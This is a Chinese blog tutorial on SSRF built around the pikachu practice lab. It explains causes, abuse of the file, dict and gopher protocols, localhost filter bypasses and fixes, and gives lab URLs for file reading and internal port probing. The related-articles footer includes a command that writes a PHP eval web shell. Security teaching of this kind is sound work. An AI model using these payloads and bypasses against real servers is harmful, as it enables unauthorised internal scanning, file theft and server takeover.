SSRF 基于pikachu

2024-02-25 11:38
文章标签 pikachu ssrf

本文主要是介绍SSRF 基于pikachu,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

一,SSRF服务器端请求伪造

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造恶意数据,形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统,正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制,比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等

二,SSRF常见场景

社交分享功能:获取超链接的标题等内容进行显示

转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译:给网址翻译对应网页的内容
图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
编码处理,属性信息处理,文件处理:如ffpmg,ImageMagick,docx,pdf,xml处理器等
url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURI、imageURL、domain
从远程服务器请求资源:(upload from url 如discuz!; import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php )

三,SSRF危害

可以对外网服务器所在内网、本地进行端口扫描,获取服务端口的Banner信息
攻击运行在内网或本地的应用程序(如Fastcgi, redis等)
对内网Web应用进行指纹识别,通过访问默认文件实现(如Readme等文件)
攻击内外网的Web应用,使用GET就可以实现的攻击(比如 Struts2, Redis等)
利用File协议读取本地文件
 

四,SSRF漏洞产生

Curl命令:
curl 是常用的命令行工具,可以用来请求 Web 、SFTP、Gopher、SCP、Telnet、DICT、FILE、LDAP、LDAPS、IMAP、POP3、SMTP和 RTSP,curl中也包含了用于程序开发的libcurl。

file_get_contents函数:
通常file_get_contents在php函数中经常和**php://input**伪协议结合利用,当file_get_contents函数的参数为url地址加载文件或者图片时,也会造成远程文件包含,或者ssrf漏洞

fsockopen函数:
打开一个网络连接或者一个Unix套接字连接

五,SSRF利用方式

Http和Https协议

File协议

file协议主要用于访问本地计算机中的文件,命令格式为:file://文件路径
可以利用file协议读取目标机有权限且确定路径的文件
Dict协议

可以利用dict协议探测本地服务器(127.0.0.1)的端口以及内网服务器存活以及开放端口
dict://serverip:port/命令:参数
向服务器的端口请求为【命令:参数】,并在末尾自动补上\r\n(CRLF)
Gopher协议

Gopher是Internet上一个非常有名的信息查找系统
它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口
gopher协议支持发出GET、POST请求
可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
Gopher协议格式

gopher://<host>:<post>/<gopher-path> 后接TCP数据流
gopher的默认端口是70
如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
Gopher协议使用限制条件

协议    支持情况
PHP    php版本>=5.3
Java    小于JDK1.7
Curl    低版本不支持
Perl    支持
ASP.NET    小于版本3
 

六,SSRF绕过技巧

攻击本地
http://127.0.0.1:80
http://localhost:22
利用[::]
利用[::]绕过localhost
http://[::]80/ <==> http://127.0.0.1
利用@
http://example.com@127.0.0.1/
利用短地址
https://bit.ly/2QyXEsz <==> http://127.0.0.1
在线短地址生成工具

http://dwz.chacuo.net/bitly
利用DNS解析
在域名上设置A记录,指向127.0.0.1

利用句号
127.0.0.1 <==> 127.0.0.1
利用进制转换
可以是十六进制,八进制等

http://127.0.0.1 <==> http://0177.0.0.1/
 

七,SSRF漏洞修复

禁止跳转

过滤返回信息
如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准

禁用不需要的协议,仅仅允许http和https请求
可以防止类似于file://, gopher://, ftp:// 等引起的问题

设置URL白名单或者限制内网IP
使用gethostbyname()判断是否为内网IP

限制请求的端口为http常用的端口
比如 80、443、8080、8090

统一错误信息
避免用户可以根据错误信息来判断远端服务器的端口状态
 

pikachu

1.使用http协议读info1.php

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php

 2.访问百度

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com

3.使用file协议读文件内容 

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file://C:2.txt

4.存活ip探测

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.5.81
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.5.81
 不存在则会一直加载

 

 5.端口探测

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.5.81:3306
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.5.81:3306
不存在则无特殊回显

 

这篇关于SSRF 基于pikachu的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/745358

相关文章

pikachu文件包含漏洞靶场通关攻略

本地文件包含 先上传一个jpg文件,内容写上<?php phpinfo();?> 上传成功并且知晓了文件的路径 返回本地上传,并../返回上级目录 可以看到我们的php语句已经生效 远程文件包含 在云服务器上创建一个php文件 然后打开pikachu的远程文件包含靶场,随便选一个提交 在filename处修改为云服务器的目标地址 127.0.0.1/pik

ssrf攻击本地fastcgi漏洞复现

目录 环境:Ubuntu+Nginx+php 代码 开始测试 查看 环境搭建 环境:Ubuntu+Nginx+php 代码 <?phphighlight_file(__FILE__);$url = $_GET['url'];$curl = curl_init($url);curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($curl,

ctfhub-web-SSRF(FastCGI协议-DNS重绑定 Bypass)

less-6  FastCGI协议 步骤一:开启环境,查看提示 步骤二:对一句话木马进行base64编码:<?php @eval($_POST[cmd]);?> echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > 1.php 步骤三:利用kali,使用Gopherus工具生成payload: python2 '/ho

pikachu靶场通关攻略(XSS)(1~10关)

反射型xss(get) 步骤一,我们先打开网站(第一关) 步骤二,首先来到第一关我们先随便输入一个数字1,下边显示谁是1,我不在乎! 步骤三,输入代码:<script>alert(1)</script>我们发现输入不完整,点击快捷键F12调出引导菜单根据箭头指示我们来进行操作下面有一个最多输入20我们改的大一点改成50 步骤四,在尝试输入<script>alert(1)</scri

CTFhub通关攻略-SSRF篇【1-5关】

01关 内网访问 根据题意,它让我们去尝试访问127.0.0.1的flag.php,我们点进题目链接 有一个url参数可以进行输入,我们直接访问127.0.0.1的flag.php 这样就得到了flag 02 伪协议读取文件 点开题目链接发现有一个url的参数可以进行填写 题中说让我们尝试读取一下Web中的flag.php文件,所以直接访问 Web目录根据Li

ctfhub-web-SSRF(内网访问-上传文件)

www.ctfhub.com less-1  内网访问 步骤一:开启环境,查看提示 步骤二:输入url=http://127.0.0.1/flag.php 得出结果 显示提交成功 less-2  伪协议读取文件 步骤一:开启环境,查看提示 步骤二:输入url=file:///var/www/html/flag.php 出现三个问号,查看源代码 得

SSRF漏洞(服务器端请求伪造)相关案例

目录 前言: 案例:Web-ssrfme 一、redis未授权访问攻击 1.1 进入题目给出源码 1.2 测试ssrf 1.3 查看phpinfo发现主机 1.4 发现服务 1.5 攻击访问 1.6 FLAG 二、redis未授权写入任务计划 2.1 探测开放端口 2.2 导入任务计划 2.3 反弹shell成功 前言: SSRF(Server-Side Requ

ctfhub-web-SSRF通关攻略

一、内网访问 1.打开ctfhub给的环境地址 2.观察题目 发现让我们访问127.0.0.1下的flag.php 在地址栏后面有一个url参数  ?url=http://127.0.0.1/flag.php  提交即可 二、伪协议读取文件 1.打开ctfhub给的环境 2.观察题目 发现让我们读取flag.php文件 读取文件用到的协议是file:// web默认目

SSRF漏洞(二)

本文仅作为学习参考使用,本文作者对任何使用本文进行渗透攻击破坏不负任何责任。 前言: 本文主要讲解依靠phpstudy搭建pikachu靶场。 phpstudy下载使用以及搭建本地SQL labs靶场 SSRF漏洞(一) 一,靶场搭建。 靶场链接:GitHub - zhuifengshaonianhanlu/pikachu: 一个好玩的Web安全-漏洞测试平台 1,下载并解压到php

ssrf漏洞之php-fpm未授权访问漏洞利用

目录 环境搭建 ​编辑漏洞点寻找 开始攻击 结果 环境搭建 在你的网站目录下创建一个新的php文件,内容如下 <?phphighlight_file(__FILE__);$url = $_GET['url'];$curl = curl_init($url);curl_setopt($curl, CURLOPT_HEADER, 0);$responseText =